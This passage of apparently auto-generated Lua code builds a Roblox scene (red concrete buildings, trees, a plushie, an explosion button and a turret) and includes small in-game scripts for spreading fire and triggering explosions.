Humanoid988.Parent = Model975 Humanoid988.LeftLeg = Part981 Humanoid988.RightLeg = Part977 Humanoid988.Torso = Part978 Model989.Parent = Model319 Part990.Parent = Model989 Part990.CFrame = CFrame.new(90.1302719, 22.4997559, 75.5762024, -0.965925932, 4.99597846e-12, -0.258819133, 3.49965543e-12, 1, 6.24208844e-12, 0.258819133, 5.12361637e-12, -0.965925932) Part990.Orientation = Vector3.new(0, -165, 0) Part990.Position = Vector3.new(90.1302719, 22.4997559, 75.5762024) Part990.Rotation = Vector3.new(-180, -15, -180) Part990.Color = Color3.new(1, 0, 0) Part990.Size = Vector3.new(62, 43, 2) Part990.Anchored = true Part990.BrickColor = BrickColor.new("Really red") Part990.Material = Enum.Material.Concrete Part990.brickColor = BrickColor.new("Really red") Part991.Parent = Model989 Part991.CFrame = CFrame.new(116.658508, 31.9996529, 66.3974228, 0.965925813, 4.99597759e-12, 0.258819163, -3.49965499e-12, 1, -6.24208758e-12, -0.258819163, 5.12361594e-12, 0.965925813) Part991.Orientation = Vector3.new(0, 15, 0) Part991.Position = Vector3.new(116.658508, 31.9996529, 66.3974228) Part991.Rotation = Vector3.new(0, 15, 0) Part991.Color = Color3.new(1, 1, 0) Part991.Size = Vector3.new(4, 2, 2) Part991.Anchored = true Part991.BrickColor = BrickColor.new("New Yeller") Part991.brickColor = BrickColor.new("New Yeller") Part992.Parent = Model989 Part992.CFrame = CFrame.new(70.3770447, 22.4997559, 154.074036, -0.866024494, 4.98724716e-12, 0.499999434, 6.83671435e-12, 0.99999249, 1.8279757e-12, -0.499999434, 5.07803001e-12, -0.866024494) Part992.Orientation = Vector3.new(0, 150, 0) Part992.Position = Vector3.new(70.3770447, 22.4997559, 154.074036) Part992.Rotation = Vector3.new(-180, 30, -180) Part992.Color = Color3.new(1, 0, 0) Part992.Size = Vector3.new(84, 43, 2) Part992.Anchored = true Part992.BrickColor = BrickColor.new("Really red") Part992.Material = Enum.Material.Concrete Part992.brickColor = BrickColor.new("Really red") Part993.Parent = Model989 Part993.CFrame = CFrame.new(46.63797, 22.4997559, 109.191406, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997) Part993.Orientation = Vector3.new(0, 60, 0) Part993.Position = Vector3.new(46.63797, 22.4997559, 109.191406) Part993.Rotation = Vector3.new(0, 60, 0) Part993.Color = Color3.new(1, 0, 0) Part993.Size = Vector3.new(56, 43, 2) Part993.Anchored = true Part993.BrickColor = BrickColor.new("Really red") Part993.Material = Enum.Material.Concrete Part993.brickColor = BrickColor.new("Really red") Part994.Parent = Model989 Part994.CFrame = CFrame.new(83.7609787, 0.500001907, 128.892334, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997) Part994.Orientation = Vector3.new(0, 60, 0) Part994.Position = Vector3.new(83.7609787, 0.500001907, 128.892334) Part994.Rotation = Vector3.new(0, 60, 0) Part994.Color = Color3.new(1, 0, 0) Part994.Size = Vector3.new(59, 1, 86) Part994.Anchored = true Part994.BrickColor = BrickColor.new("Really red") Part994.Material = Enum.Material.Concrete Part994.brickColor = BrickColor.new("Really red") Snap995.Parent = Part994 Snap995.C0 = CFrame.new(0, 0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap995.C1 = CFrame.new(-0.999992371, -21.499754, -41.999939, -1, 0, 0, 0, -2.16840434e-19, 1, 0, 1, -2.16840434e-19) Snap995.Part0 = Part994 Snap995.Part1 = Part1003 Snap995.part1 = Part1003 Snap996.Parent = Part994 Snap996.C0 = CFrame.new(0, 0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap996.C1 = CFrame.new(1.00003052, -21.4995918, 28.4999313, -2.98023224e-08, -0.999998927, -1.0713869e-14, 3.8058532e-14, 1.07134353e-14, 0.99999249, -0.999998927, 2.98023224e-08, -3.80576647e-14) Snap996.Part0 = Part994 Snap996.Part1 = Part992 Snap996.part1 = Part992 Snap997.Parent = Part994 Snap997.C0 = CFrame.new(0, 0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap997.C1 = CFrame.new(1.5, -21.499754, 41.9999237, -1, 0, 0, 0, -2.16840434e-19, 1, 0, 1, -2.16840434e-19) Snap997.Part0 = Part994 Snap997.Part1 = Part993 Snap997.part1 = Part993 Part998.Name = "Glass 2stds Thick" Part998.Parent = Model989 Part998.CFrame = CFrame.new(88.2708664, 24.4997406, 73.8262482, 0.965925932, -5.00534119e-12, -0.258819193, -3.50568576e-12, -1, 6.25576023e-12, -0.258819193, -5.13526157e-12, -0.965925932) Part998.Orientation = Vector3.new(0, -165, -180) Part998.Position = Vector3.new(88.2708664, 24.4997406, 73.8262482) Part998.Rotation = Vector3.new(-180, -15, 0) Part998.Color = Color3.new(0.972549, 0.972549, 0.972549) Part998.Transparency = 0.54900002479553 Part998.Size = Vector3.new(46, 29, 2) Part998.Anchored = true Part998.BrickColor = BrickColor.new("Institutional white") Part998.Reflectance = 0.5 Part998.brickColor = BrickColor.new("Institutional white") Part999.Parent = Model989 Part999.CFrame = CFrame.new(83.7609787, 44.4995117, 128.892334, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997) Part999.Orientation = Vector3.new(0, 60, 0) Part999.Position = Vector3.new(83.7609787, 44.4995117, 128.892334) Part999.Rotation = Vector3.new(0, 60, 0) Part999.Color = Color3.new(1, 0, 0) Part999.Size = Vector3.new(59, 1, 86) Part999.Anchored = true Part999.BrickColor = BrickColor.new("Really red") Part999.brickColor = BrickColor.new("Really red") Snap1000.Parent = Part999 Snap1000.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap1000.C1 = CFrame.new(-0.999992371, 21.4997559, -41.999939, 1, 0, 0, 0, -2.16840434e-19, -1, 0, 1, 2.16840434e-19) Snap1000.Part0 = Part999 Snap1000.Part1 = Part1003 Snap1000.part1 = Part1003 Snap1001.Parent = Part999 Snap1001.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap1001.C1 = CFrame.new(1.00003052, 21.4995937, 28.4999313, 2.98023224e-08, -0.999998927, 1.0713869e-14, -3.8058532e-14, 1.07134353e-14, -0.99999249, 0.999998927, 2.98023224e-08, 3.80576647e-14) Snap1001.Part0 = Part999 Snap1001.Part1 = Part992 Snap1001.part1 = Part992 Snap1002.Parent = Part999 Snap1002.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap1002.C1 = CFrame.new(1.5, 21.4997559, 41.9999237, 1, 0, 0, 0, -2.16840434e-19, -1, 0, 1, 2.16840434e-19) Snap1002.Part0 = Part999 Snap1002.Part1 = Part993 Snap1002.part1 = Part993 Part1003.Parent = Model989 Part1003.CFrame = CFrame.new(120.633972, 22.4997559, 149.026276, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997) Part1003.Orientation = Vector3.new(0, 60, 0) Part1003.Position = Vector3.new(120.633972, 22.4997559, 149.026276) Part1003.Rotation = Vector3.new(0, 60, 0) Part1003.Color = Color3.new(1, 0, 0) Part1003.Size = Vector3.new(57, 43, 2) Part1003.Anchored = true Part1003.BrickColor = BrickColor.new("Really red") Part1003.Material = Enum.Material.Concrete Part1003.brickColor = BrickColor.new("Really red") MeshPart1004.Parent = Model989 MeshPart1004.CFrame = CFrame.new(86.3154755, 1.26988983, 127.4758, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997) MeshPart1004.Orientation = Vector3.new(0, 60, 0) MeshPart1004.Position = Vector3.new(86.3154755, 1.26988983, 127.4758) MeshPart1004.Rotation = Vector3.new(0, 60, 0) MeshPart1004.Size = Vector3.new(41.9919739, 0.539794922, 52.9920044) MeshPart1004.Anchored = true MeshPart1005.Name = "Cheese Burger" MeshPart1005.Parent = Model989 MeshPart1005.CFrame = CFrame.new(86.4785614, 9.22110367, 128.527466, 0.499999434, 4.98724716e-12, 0.866024494, 1.8279757e-12, 0.99999249, -6.83671435e-12, -0.866024494, 5.07803001e-12, 0.499999434) MeshPart1005.Orientation = Vector3.new(0, 60, 0) MeshPart1005.Position = Vector3.new(86.4785614, 9.22110367, 128.527466) MeshPart1005.Rotation = Vector3.new(0, 60, 0) MeshPart1005.Size = Vector3.new(27.6664581, 15.3629303, 27.6579037) MeshPart1005.Anchored = true MeshPart1005.TextureID = "rbxassetid://694456849" Part1006.Parent = Model989 Part1006.CFrame = CFrame.new(116.658508, 27.4997005, 66.3974228, 0.965925813, 4.99597759e-12, 0.258819163, -3.49965499e-12, 1, -6.24208758e-12, -0.258819163, 5.12361594e-12, 0.965925813) Part1006.Orientation = Vector3.new(0, 15, 0) Part1006.Position = Vector3.new(116.658508, 27.4997005, 66.3974228) Part1006.Rotation = Vector3.new(0, 15, 0) Part1006.Color = Color3.new(0, 1, 0) Part1006.Size = Vector3.new(4, 1, 2) Part1006.Anchored = true Part1006.BrickColor = BrickColor.new("Lime green") Part1006.brickColor = BrickColor.new("Lime green") Part1007.Name = "Baseplate" Part1007.Parent = Model319 Part1007.CFrame = CFrame.new(0, -10, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1007.Position = Vector3.new(0, -10, 0) Part1007.Color = Color3.new(0.227451, 0.490196, 0.0823529) Part1007.Size = Vector3.new(512, 20, 512) Part1007.Anchored = true Part1007.BrickColor = BrickColor.new("Camo") Part1007.Locked = true Part1007.Material = Enum.Material.Grass Part1007.brickColor = BrickColor.new("Camo") Part1007.FormFactor = Enum.FormFactor.Symmetric Part1007.formFactor = Enum.FormFactor.Symmetric Model1008.Name = "Tree" Model1008.Parent = Model319 Part1009.Parent = Model1008 Part1009.CFrame = CFrame.new(51, 11, -86, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1009.Position = Vector3.new(51, 11, -86) Part1009.Color = Color3.new(0.203922, 0.556863, 0.25098) Part1009.Size = Vector3.new(10, 10, 10) Part1009.Anchored = true Part1009.BottomSurface = Enum.SurfaceType.Smooth Part1009.BrickColor = BrickColor.new("Sea green") Part1009.TopSurface = Enum.SurfaceType.Smooth Part1009.brickColor = BrickColor.new("Sea green") Part1009.Shape = Enum.PartType.Ball Part1010.Parent = Model1008 Part1010.CFrame = CFrame.new(50.9040451, 5.5, -85.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1010.Position = Vector3.new(50.9040451, 5.5, -85.983078) Part1010.Color = Color3.new(0.666667, 0.333333, 0) Part1010.Size = Vector3.new(2, 11, 2) Part1010.Anchored = true Part1010.BottomSurface = Enum.SurfaceType.Smooth Part1010.BrickColor = BrickColor.new("CGA brown") Part1010.TopSurface = Enum.SurfaceType.Smooth Part1010.brickColor = BrickColor.new("CGA brown") Model1011.Name = "Tree" Model1011.Parent = Model319 Part1012.Parent = Model1011 Part1012.CFrame = CFrame.new(39, 11, -103, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1012.Position = Vector3.new(39, 11, -103) Part1012.Color = Color3.new(0.203922, 0.556863, 0.25098) Part1012.Size = Vector3.new(10, 10, 10) Part1012.Anchored = true Part1012.BottomSurface = Enum.SurfaceType.Smooth Part1012.BrickColor = BrickColor.new("Sea green") Part1012.TopSurface = Enum.SurfaceType.Smooth Part1012.brickColor = BrickColor.new("Sea green") Part1012.Shape = Enum.PartType.Ball Part1013.Parent = Model1011 Part1013.CFrame = CFrame.new(38.9040451, 5.5, -102.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1013.Position = Vector3.new(38.9040451, 5.5, -102.983078) Part1013.Color = Color3.new(0.666667, 0.333333, 0) Part1013.Size = Vector3.new(2, 11, 2) Part1013.Anchored = true Part1013.BottomSurface = Enum.SurfaceType.Smooth Part1013.BrickColor = BrickColor.new("CGA brown") Part1013.TopSurface = Enum.SurfaceType.Smooth Part1013.brickColor = BrickColor.new("CGA brown") Model1014.Name = "Noob Plushie" Model1014.Parent = Model319 Part1015.Name = "Brick!" Part1015.Parent = Model1014 Part1015.CFrame = CFrame.new(199.866821, 1.84002602, -119.713692, -1.00000226, -7.15255737e-07, 4.97698784e-06, 3.87430191e-07, 0.960924268, -0.276814044, -3.33786011e-06, -0.276813447, -0.960926414) Part1015.Orientation = Vector3.new(16.0699997, 180, 0) Part1015.Position = Vector3.new(199.866821, 1.84002602, -119.713692) Part1015.Rotation = Vector3.new(163.929993, 0, 180) Part1015.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1015.Size = Vector3.new(2, 1, 1) Part1015.Anchored = true Part1015.BrickColor = BrickColor.new("Bright yellow") Part1015.CanCollide = false Part1015.Material = Enum.Material.SmoothPlastic Part1015.TopSurface = Enum.SurfaceType.Smooth Part1015.brickColor = BrickColor.new("Bright yellow") Part1015.FormFactor = Enum.FormFactor.Symmetric Part1015.formFactor = Enum.FormFactor.Symmetric SpecialMesh1016.Parent = Part1015 SpecialMesh1016.Scale = Vector3.new(1.25, 1.25, 1.25) Decal1017.Name = "face" Decal1017.Parent = Part1015 Decal1018.Parent = Part1015 Decal1018.Texture = "http://www.roblox.com/asset/?id=688468594" Dialog1019.Parent = Part1015 Dialog1019.InitialPrompt = "I'm gonna kill your family! :D" Part1020.Name = "Right Arm" Part1020.Parent = Model1014 Part1020.CFrame = CFrame.new(200.221771, 0.960025012, -119.198685, -0.438895762, 0.450666308, -0.777351379, 0.329270124, 0.885612369, 0.327526271, 0.836037695, -0.112208188, -0.537080765) Part1020.Orientation = Vector3.new(-19.1200008, -124.639999, 20.3999996) Part1020.Position = Vector3.new(200.221771, 0.960025012, -119.198685) Part1020.Rotation = Vector3.new(-148.619995, -51.0200005, -134.240005) Part1020.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1020.Size = Vector3.new(0.529999971, 1.10000002, 0.409999996) Part1020.Anchored = true Part1020.BrickColor = BrickColor.new("Bright yellow") Part1020.Material = Enum.Material.SmoothPlastic Part1020.brickColor = BrickColor.new("Bright yellow") Part1020.FormFactor = Enum.FormFactor.Symmetric Part1020.formFactor = Enum.FormFactor.Symmetric Fire1021.Parent = Part1020 Fire1021.Color = Color3.new(0, 0, 0.933333) Fire1021.Enabled = false Fire1021.Size = 30 Fire1021.Heat = 25 Fire1021.SecondaryColor = Color3.new(1, 1, 1) Fire1021.size = 30 Script1022.Name = "Spread" Script1022.Parent = Fire1021 table.insert(cors,sandbox(Script1022,function() function Spread(part) check = part:findFirstChild("Fire") if check == nil then script.Parent:Clone().Parent = part elseif check ~= nil then check.Size = check.Size + 1 check.Heat = check.Heat +1 end end script.Parent.Parent.Touched:connect(Spread) end)) Part1023.Name = "Left Leg" Part1023.Parent = Model1014 Part1023.CFrame = CFrame.new(200.261734, 0.295020998, -118.943672, -0.942648053, -0.333795488, 6.05285168e-05, -6.09904528e-05, -1.63912773e-06, -1.00000072, 0.333796889, -0.942647934, -2.00122595e-05) Part1023.Orientation = Vector3.new(90, -160.5, 0) Part1023.Position = Vector3.new(200.261734, 0.295020998, -118.943672) Part1023.Rotation = Vector3.new(90, 0, 160.5) Part1023.Color = Color3.new(0.643137, 0.741176, 0.278431) Part1023.Size = Vector3.new(0.53000021, 1.0999999, 0.410000116) Part1023.Anchored = true Part1023.BottomSurface = Enum.SurfaceType.Smooth Part1023.BrickColor = BrickColor.new("Br. yellowish green") Part1023.Material = Enum.Material.SmoothPlastic Part1023.brickColor = BrickColor.new("Br. yellowish green") Part1023.FormFactor = Enum.FormFactor.Symmetric Part1023.formFactor = Enum.FormFactor.Symmetric Part1024.Name = "Right Leg" Part1024.Parent = Model1014 Part1024.CFrame = CFrame.new(199.37178, 0.295037001, -118.93367, -0.952460945, 0.304668188, 9.08970833e-07, 0.0465838611, 0.145626277, -0.988243222, -0.301084995, -0.941262841, -0.152897) Part1024.Orientation = Vector3.new(81.2099991, 180, 17.7399998) Part1024.Position = Vector3.new(199.37178, 0.295037001, -118.93367) Part1024.Rotation = Vector3.new(98.7900009, 0, -162.259995) Part1024.Color = Color3.new(0.643137, 0.741176, 0.278431) Part1024.Size = Vector3.new(0.529999971, 1.10000002, 0.409999996) Part1024.Anchored = true Part1024.BottomSurface = Enum.SurfaceType.Smooth Part1024.BrickColor = BrickColor.new("Br. yellowish green") Part1024.Material = Enum.Material.SmoothPlastic Part1024.brickColor = BrickColor.new("Br. yellowish green") Part1024.FormFactor = Enum.FormFactor.Symmetric Part1024.formFactor = Enum.FormFactor.Symmetric Part1025.Name = "Left Arm" Part1025.Parent = Model1014 Part1025.CFrame = CFrame.new(199.391708, 0.92997998, -119.268738, 0.962069392, -0.246715814, -0.11644128, 0.263035029, 0.725627005, 0.635831356, -0.0723759085, -0.642338932, 0.762997925) Part1025.Orientation = Vector3.new(-39.4799995, -8.68000031, 19.9300003) Part1025.Position = Vector3.new(199.391708, 0.92997998, -119.268738) Part1025.Rotation = Vector3.new(-39.8100014, -6.69000006, 14.3800001) Part1025.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1025.Size = Vector3.new(0.529999971, 1.10000002, 0.409999996) Part1025.Anchored = true Part1025.BrickColor = BrickColor.new("Bright yellow") Part1025.Material = Enum.Material.SmoothPlastic Part1025.brickColor = BrickColor.new("Bright yellow") Part1025.FormFactor = Enum.FormFactor.Symmetric Part1025.formFactor = Enum.FormFactor.Symmetric Part1026.Name = "Torso" Part1026.Parent = Model1014 Part1026.CFrame = CFrame.new(199.856735, 0.770057023, -119.51368, -1.00000167, -6.41345978e-05, 4.67896461e-06, -6.16908073e-05, 1.00000083, -1.83284283e-06, -3.33786011e-06, -6.70552254e-07, -1.00000203) Part1026.Orientation = Vector3.new(0, 180, 0) Part1026.Position = Vector3.new(199.856735, 0.770057023, -119.51368) Part1026.Rotation = Vector3.new(180, 0, 180) Part1026.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part1026.Size = Vector3.new(0.9599998, 1.36000037, 0.439999998) Part1026.Anchored = true Part1026.BrickColor = BrickColor.new("Bright blue") Part1026.LeftParamA = 0 Part1026.LeftParamB = 0 Part1026.LeftSurface = Enum.SurfaceType.Weld Part1026.Material = Enum.Material.SmoothPlastic Part1026.RightParamA = 0 Part1026.RightParamB = 0 Part1026.RightSurface = Enum.SurfaceType.Weld Part1026.brickColor = BrickColor.new("Bright blue") Part1026.FormFactor = Enum.FormFactor.Symmetric Part1026.formFactor = Enum.FormFactor.Symmetric Part1027.Parent = Model319 Part1027.CFrame = CFrame.new(254, 43.5, -174.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1027.Position = Vector3.new(254, 43.5, -174.5) Part1027.Size = Vector3.new(4, 87, 163) Part1027.BottomSurface = Enum.SurfaceType.Smooth Part1027.TopSurface = Enum.SurfaceType.Smooth Part1028.Parent = Model319 Part1028.CFrame = CFrame.new(60.9040451, 5.5, -102.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1028.Position = Vector3.new(60.9040451, 5.5, -102.983078) Part1028.Color = Color3.new(0.666667, 0.333333, 0) Part1028.Size = Vector3.new(2, 11, 2) Part1028.Anchored = true Part1028.BottomSurface = Enum.SurfaceType.Smooth Part1028.BrickColor = BrickColor.new("CGA brown") Part1028.TopSurface = Enum.SurfaceType.Smooth Part1028.brickColor = BrickColor.new("CGA brown") Model1029.Name = "Noob Button" Model1029.Parent = Model319 Part1030.Parent = Model1029 Part1030.CFrame = CFrame.new(87.1407318, 0.500005007, -39.1663666, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1030.Position = Vector3.new(87.1407318, 0.500005007, -39.1663666) Part1030.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1030.Size = Vector3.new(10, 1, 10) Part1030.Anchored = true Part1030.BottomSurface = Enum.SurfaceType.Smooth Part1030.BrickColor = BrickColor.new("Dark stone grey") Part1030.Material = Enum.Material.DiamondPlate Part1030.TopSurface = Enum.SurfaceType.Smooth Part1030.brickColor = BrickColor.new("Dark stone grey") Part1030.FormFactor = Enum.FormFactor.Symmetric Part1030.formFactor = Enum.FormFactor.Symmetric CylinderMesh1031.Parent = Part1030 Part1032.Parent = Model1029 Part1032.CFrame = CFrame.new(87.1407318, 1.50000596, -39.1663666, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1032.Position = Vector3.new(87.1407318, 1.50000596, -39.1663666) Part1032.Color = Color3.new(1, 0, 0) Part1032.Size = Vector3.new(8, 1, 8) Part1032.Anchored = true Part1032.BottomSurface = Enum.SurfaceType.Smooth Part1032.BrickColor = BrickColor.new("Really red") Part1032.Material = Enum.Material.Sand Part1032.TopSurface = Enum.SurfaceType.Smooth Part1032.brickColor = BrickColor.new("Really red") Part1032.FormFactor = Enum.FormFactor.Symmetric Part1032.formFactor = Enum.FormFactor.Symmetric Script1033.Name = "Explosion" Script1033.Parent = Part1032 table.insert(cors,sandbox(Script1033,function() ball = script.Parent function onTouch(part) script.Disabled=true local msg=Instance.new("Message") msg.Parent=ball.Parent msg.Name="Msg" msg.Text=part.Parent.Name.." is a noob" local BOOM=Instance.new("Explosion") BOOM.Parent=ball BOOM.Position=ball.Position BOOM.Name="boom-boom" BOOM.BlastPressure=5 BOOM.BlastRadius=10 wait(2) script.Disabled=false msg:remove() end ball.Touched:connect(onTouch) end)) CylinderMesh1034.Parent = Part1032 Part1035.Parent = Model319 Part1035.CFrame = CFrame.new(61, 11, -103, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1035.Position = Vector3.new(61, 11, -103) Part1035.Color = Color3.new(0.203922, 0.556863, 0.25098) Part1035.Size = Vector3.new(10, 10, 10) Part1035.Anchored = true Part1035.BottomSurface = Enum.SurfaceType.Smooth Part1035.BrickColor = BrickColor.new("Sea green") Part1035.TopSurface = Enum.SurfaceType.Smooth Part1035.brickColor = BrickColor.new("Sea green") Part1035.Shape = Enum.PartType.Ball Model1036.Name = "Turret" Model1036.Parent = Model319 Model1036.PrimaryPart = Part1122 Model1037.Name = "gun" Model1037.Parent = Model1036 Model1037.PrimaryPart = Part1094 Part1038.Parent = Model1037 Part1038.CFrame = CFrame.new(220.800003, 4.29485893, -77.1000443, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1038.Orientation = Vector3.new(-90, -90, 0) Part1038.Position = Vector3.new(220.800003, 4.29485893, -77.1000443) Part1038.Rotation = Vector3.new(-90, 0, -90) Part1038.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1038.Size = Vector3.new(2.20000005, 1.60000002, 2) Part1038.Anchored = true Part1038.BottomSurface = Enum.SurfaceType.Smooth Part1038.BrickColor = BrickColor.new("Sand violet metallic") Part1038.CanCollide = false Part1038.Material = Enum.Material.Metal Part1038.TopSurface = Enum.SurfaceType.Weld Part1038.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1039.Parent = Part1038 Weld1040.Parent = Part1038 Weld1040.C0 = CFrame.new(0, -0.800000012, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld1040.C1 = CFrame.new(0, 0.100013733, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld1040.Part0 = Part1038 Weld1040.Part1 = Part1066 Weld1040.part1 = Part1066 Weld1041.Parent = Part1038 Weld1041.C0 = CFrame.new(0, 0.800000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Weld1041.C1 = CFrame.new(0, -0.700016022, -1.505126, -1, 0, 0, 0, 0, 1, 0, 1, -0) Weld1041.Part0 = Part1038 Weld1041.Part1 = UnionOperation1097 Weld1041.part1 = UnionOperation1097 Part1042.Parent = Model1037 Part1042.CFrame = CFrame.new(222.345428, 3.89486194, -76.3000336, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1042.Orientation = Vector3.new(-90, -90, 0) Part1042.Position = Vector3.new(222.345428, 3.89486194, -76.3000336) Part1042.Rotation = Vector3.new(-90, 0, -90) Part1042.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1042.Size = Vector3.new(1.47272682, 3.96363688, 1.63636315) Part1042.Anchored = true Part1042.BottomSurface = Enum.SurfaceType.Smooth Part1042.BrickColor = BrickColor.new("Sand violet metallic") Part1042.CanCollide = false Part1042.Material = Enum.Material.Metal Part1042.TopSurface = Enum.SurfaceType.Weld Part1042.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1043.Parent = Part1042 Part1044.Parent = Model1037 Part1044.CFrame = CFrame.new(221.781815, 3.89486194, -76.3000336, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1044.Orientation = Vector3.new(-90, -90, 0) Part1044.Position = Vector3.new(221.781815, 3.89486194, -76.3000336) Part1044.Rotation = Vector3.new(-90, 0, -90) Part1044.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1044.Size = Vector3.new(1.79999948, 2.50909066, 1.63636315) Part1044.Anchored = true Part1044.BottomSurface = Enum.SurfaceType.Smooth Part1044.BrickColor = BrickColor.new("Sand violet metallic") Part1044.CanCollide = false Part1044.Material = Enum.Material.Metal Part1044.TopSurface = Enum.SurfaceType.Weld Part1044.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1045.Parent = Part1044 Part1046.Name = "eject" Part1046.Parent = Model1037 Part1046.CFrame = CFrame.new(223.608627, 5.03627491, -76.9632263, 0.859789312, 0.476727724, -0.183010995, 0.0669870228, 0.249996901, 0.965926707, 0.506236196, -0.842752755, 0.183010116) Part1046.Orientation = Vector3.new(-75, -45, 15) Part1046.Position = Vector3.new(223.608627, 5.03627491, -76.9632263) Part1046.Rotation = Vector3.new(-79.2699966, -10.5500002, -29.0100002) Part1046.Color = Color3.new(0.458824, 0.458824, 0.458824) Part1046.Size = Vector3.new(1.07272673, 0.96363622, 0.836363018) Part1046.Anchored = true Part1046.BottomSurface = Enum.SurfaceType.Smooth Part1046.BrickColor = BrickColor.new("Dark grey") Part1046.CanCollide = false Part1046.Material = Enum.Material.Metal Part1046.TopSurface = Enum.SurfaceType.Weld Part1046.brickColor = BrickColor.new("Dark grey") CylinderMesh1047.Parent = Part1046 ParticleEmitter1048.Name = "bullets" ParticleEmitter1048.Parent = mas ParticleEmitter1048.Speed = NumberRange.new(7, 20) ParticleEmitter1048.Rotation = NumberRange.new(-180, 180) ParticleEmitter1048.Color = ColorSequence.new(Color3.new(1, 0.666667, 0),Color3.new(1, 0.666667, 0)) ParticleEmitter1048.Enabled = false ParticleEmitter1048.LightEmission = 0.10000000149012 ParticleEmitter1048.LightInfluence = 1 ParticleEmitter1048.Texture = "rbxassetid://409366087" ParticleEmitter1048.Transparency = NumberSequence.new(0,0,1) ParticleEmitter1048.Size = NumberSequence.new(0.67010343074799,1) ParticleEmitter1048.Acceleration = Vector3.new(0, -30, 0) ParticleEmitter1048.Lifetime = NumberRange.new(0.5, 0.60000002384186) ParticleEmitter1048.Rate = 50 ParticleEmitter1048.RotSpeed = NumberRange.new(-900, 900) ParticleEmitter1048.SpreadAngle = Vector2.new(-20, 20) ParticleEmitter1048.VelocitySpread = -20 Part1049.Parent = Model1037 Part1049.CFrame = CFrame.new(224.945435, 4.89485693, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1049.Orientation = Vector3.new(-90, -90, 0) Part1049.Position = Vector3.new(224.945435, 4.89485693, -76.5000305) Part1049.Rotation = Vector3.new(-90, 0, -90) Part1049.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1049.Size = Vector3.new(1.07272673, 0.363636494, 0.836363018) Part1049.Anchored = true Part1049.BottomSurface = Enum.SurfaceType.Smooth Part1049.BrickColor = BrickColor.new("Sand violet metallic") Part1049.CanCollide = false Part1049.Material = Enum.Material.Metal Part1049.TopSurface = Enum.SurfaceType.Weld Part1049.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1050.Parent = Part1049 UnionOperation1051.Name = "Barrel1" UnionOperation1051.Parent = Model1037 UnionOperation1051.CFrame = CFrame.new(214.399918, 4.89998722, -75.5000153, 0, 1, 0, 0, 0, 1, 1, 0, 0) UnionOperation1051.Orientation = Vector3.new(-90, -90, 0) UnionOperation1051.Position = Vector3.new(214.399918, 4.89998722, -75.5000153) UnionOperation1051.Rotation = Vector3.new(-90, 0, -90) UnionOperation1051.Color = Color3.new(0.580392, 0.580392, 0.580392) UnionOperation1051.Size = Vector3.new(1.80000019, 7.6000061, 1.80000019) UnionOperation1051.Anchored = true UnionOperation1051.BrickColor = BrickColor.new("Sand violet metallic") UnionOperation1051.CanCollide = false UnionOperation1051.Material = Enum.Material.Metal UnionOperation1051.brickColor = BrickColor.new("Sand violet metallic") Part1052.Parent = Model1037 Part1052.CFrame = CFrame.new(223.145447, 4.89485693, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0) Part1052.Orientation = Vector3.new(-90, -90, 0) Part1052.Position = Vector3.new(223.145447, 4.89485693, -76.5000305) Part1052.Rotation = Vector3.new(-90, 0, -90) Part1052.Color = Color3.new(0.580392, 0.580392, 0.580392) Part1052.Size = Vector3.new(1.07272673, 3.56363678, 1.63636315) Part1052.Anchored = true Part1052.BottomSurface = Enum.SurfaceType.Smooth Part1052.BrickColor = BrickColor.new("Sand violet metallic") Part1052.CanCollide = false Part1052.Material = Enum.Material.Metal Part1052.TopSurface = Enum.SurfaceType.Weld Part1052.brickColor = BrickColor.new("Sand violet metallic") CylinderMesh1053.Parent = Part1052 Part1054.Name = "gunpart" Part1054.Parent = Model1037 Part1054.CFrame = CFrame.new(208.899887, 4.89999008, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1054.Orientation = Vector3.new(0, 90, 0) 